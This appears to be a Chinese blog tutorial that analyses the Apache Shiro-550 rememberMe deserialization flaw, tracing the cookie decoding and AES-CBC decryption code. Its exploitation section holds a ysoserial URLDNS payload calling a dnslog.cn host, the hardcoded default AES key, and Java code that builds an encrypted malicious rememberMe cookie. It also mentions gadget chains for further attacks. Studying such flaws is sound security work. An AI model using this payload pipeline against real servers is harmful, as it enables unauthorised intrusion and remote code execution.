Shiro550原理分析
Shiro运行在Filter层,每一个请求在到达Servlet之前都会被拦截下来进行处理。
在包org.apache.shiro.mgt中有DefaultSecurityManager类,该类继承自SessionsSecurityManager,看得出来会话管理有关功能在此实现。
我们尝试登录并在该类中下断点调试。
发起登录后,进入getRememberedIdentity方法。
仔细阅读该方法,该方法首先取得当前的RememberMe管理器,执行它的getRememberedPrincipals方法并返回,该管理器RememberMeManager是一个接口类,实现了它的类有下面几个
,来到AbstractRememberMeManager,
步入getRememberedSerializedIdentity。
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
在该类205行取出cookie,然后判断是否等于deleteMe
我们知道deleteMe会放在cookie的remeberMe字段。那他是怎么取出来rememberMe的呢。进入getCookie看看。CookieRememberMeManager在构造器中就已经将成员变量cookie设置为rememberMe了,而getCookie返回对象中的cookie,值则为remberberMe。
如果等于则返回空。不等于则判断该cookie是否为空,为空则返回空,不为空则先对base64进行填充,假如cookie不符合base64长度,用等号填充。
private String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
填充完毕使用base64解码后返回。回到getRememberedPrincipals,判断该解码后的cookie不为空即执行convertBytesToPrincipals。
在该方法中,判断加解密服务不为空则对其进行解密,然后对解码后的字节数组进行反序列化。
总结一下,Shiro会取出rememberMe中的值进行base64解码后再解密,然后反序列化。
要成功反序列化,我们必须知道怎么加密payload,那么解密是怎么解密的?
进入decrypt
取得cipherService之后用它来解密。要找到对象中的cipherService是什么,到构造函数或者setter中找。很幸运,在构造函数中可以看到使用了AES加密服务,并且可以看到硬编码的AES密钥。
明明官方就告诉了要用随机生成密钥。为什么大家还要用默认的硬编码
查看AES加密模式,AES服务类继承DefaultBlockCipherService默认块密码服务类。
在该类中,指明了使用CBC模式进行加密解密。
漏洞利用
漏洞利用的话,我们使用工具就行了。
咳咳咳,我们学习当然还是自己写payload。
如果使用shiro的同时还用了CC组件。
那我们可以用CC链来打这个反序列化。没有用CC链也可以用CB链来打,把comparator换一下就能组成无依赖链。这里先用URLDNS来证明反序列化存在。
在ysoserial运行如下代码生成base64加密的payload。
public static void main(final String[] args) throws Exception {
// PayloadRunner.run(URLDNS.class, args);
Object o = new URLDNS().getObject("http://lj4vmg.dnslog.cn");
byte[] ba = Serializer.serialize(o);
System.out.println(Base64.encodeBase64String(ba));
}
不想写加密算法,导入shiro之后,用shiro的加密模块。将payload解码之后用shiro带的AES密码服务指定密钥加密再用base64编码。
String base64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEGxqNHZtZy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly9sajR2bWcuZG5zbG9nLmNueA==";
String SECRET_KEY = "kPH+bIxk5D2deZiIxcaaaA==";
AesCipherService cipherService = new AesCipherService();
byte[] raw_payload = Base64.decode(base64);
cipherService.setKeySize(128); // AES-128
byte[] encryptedBytes = cipherService.encrypt(raw_payload, Base64.decode(SECRET_KEY)).getBytes();
String payload = Base64.encodeToString(encryptedBytes);
System.out.println(payload);
出网成功。